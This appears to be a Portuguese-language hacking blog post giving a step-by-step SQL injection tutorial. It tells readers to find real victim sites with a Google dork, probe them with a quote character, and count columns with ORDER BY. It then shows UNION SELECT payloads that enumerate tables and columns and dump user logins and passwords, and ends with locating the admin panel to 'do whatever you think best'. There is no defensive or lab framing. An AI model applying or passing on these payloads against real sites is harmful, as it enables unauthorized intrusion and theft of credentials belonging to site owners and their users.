quarta-feira, 14 de agosto de 2013

SQLInjection Manual Básico

  _____  ____  _        _____       _           _   _
  / ____|/ __ \| |      |_   _|     (_)         | | (_)
 | (___ | |  | | |        | |  _ __  _  ___  ___| |_ _  ___  _ __
  \___ \| |  | | |        | | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \
  ____) | |__| | |____   _| |_| | | | |  __/ (__| |_| | (_) | | | |
 |_____/ \___\_\______| |_____|_| |_| |\___|\___|\__|_|\___/|_| |_|
                                   _/ |
                                  |__/

1° Passo: Encontrar site vulnerável.
Para isso vamos usar a seguinte string no google inurl:noticias.php?id=.

Aparecera uma lista de sites,escolha um e verifique se o site esta vulnerável a SQL INJECTION.

Suponhamos que voce escolheu o site:
http://sitevul.com.br/noticias.php?id=10
Para verficar se ele esta vulnerável é bem simples basta adicionar uma ASPAS no final do numero de ID.
http://sitevul.com.br/noticias.php?id=10'
Se aparecer uma mensagem de erro SQL o site esta vulnerável,se o site carregar normalmente ele não esta,e so partir para outro e tentar.

2º Passo: Aplicando os comandos SQL no site(UNIR AS TABELAS DO SITE).
Vamos procurar quantas tabelas o site possui com o comando ORDER BY ou GROUP BY ex:

http://sitevul.com.br/noticias.php?id=10 order by 1
Se o site carregar normalmente prossiga.
http://sitevul.com.br/noticias.php?id=10 order by 2
Se novamente carregar sem nenhum erro prossiga.
http://sitevul.com.br/noticias.php?id=10 order by 3
Se novamente carregar sem nenhum erro prossiga

http://sitevul.com.br/noticias.php?id=10 order by 4
Suponhamos que no order by 4 ele aparece uma mensagem de erro SQL,ok com isso verificamos que o site possui 3 tabelas.
Agora vamos unir as tabelas para saber em qual esta a informação desejada com o comando abaixo:

http://sitevul.com.br/noticias.php?id=-10 union all select 1,2,3--
Após a execução do comando suponhamos que a tabela foi a número 2.

3º Passo: Listando as tabelas e suas respectivas colunas. 
Depois de ter unido as tabelas vamos lista-las com o comando:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema =database()--

Suponhamos que apareçam as seguintes tabelas:
Usuarios,Links,News.

Nosso interesse e a tabela usuarios,agora vamos listar as colunas da tabela USUARIO com o comando:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='Usuarios'--

Após isso teremos as colunas:
Login,senha,email.

4º Passo: Pegando os dados com o comando CONCAT.

Insira o seguinte comando após descoberta as colunas:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,concat(Login,0x3a,senha),3 from Usuarios--

Entendo o comando acima,ele vai mostrar o LOGIN/SENHA da tabela USUARIOS,o FILTRO 0x3a e o : que vai separar o login e a senha.

Ex:
Admin:123456

5º Passo: Encontrando a pagina do admin.

Vou utilizar o programa ADMIN FINDER que pode ser encontrado aqui:
viewtopic.php?f=49&t=8557293

Coloque o endereço do site no campo Target: http://sitevul.com.br/
E espere,nao é sempre que o mesmo encontra a tabela de admin.
Depois de encontrar a pagina do admin e so fazer oque achar melhor.

Ex: http://sitevul.com.br/admin/login.php

Obrigado.
DivisionHp"

AnonInjection

Nenhum comentário:

Postar um comentário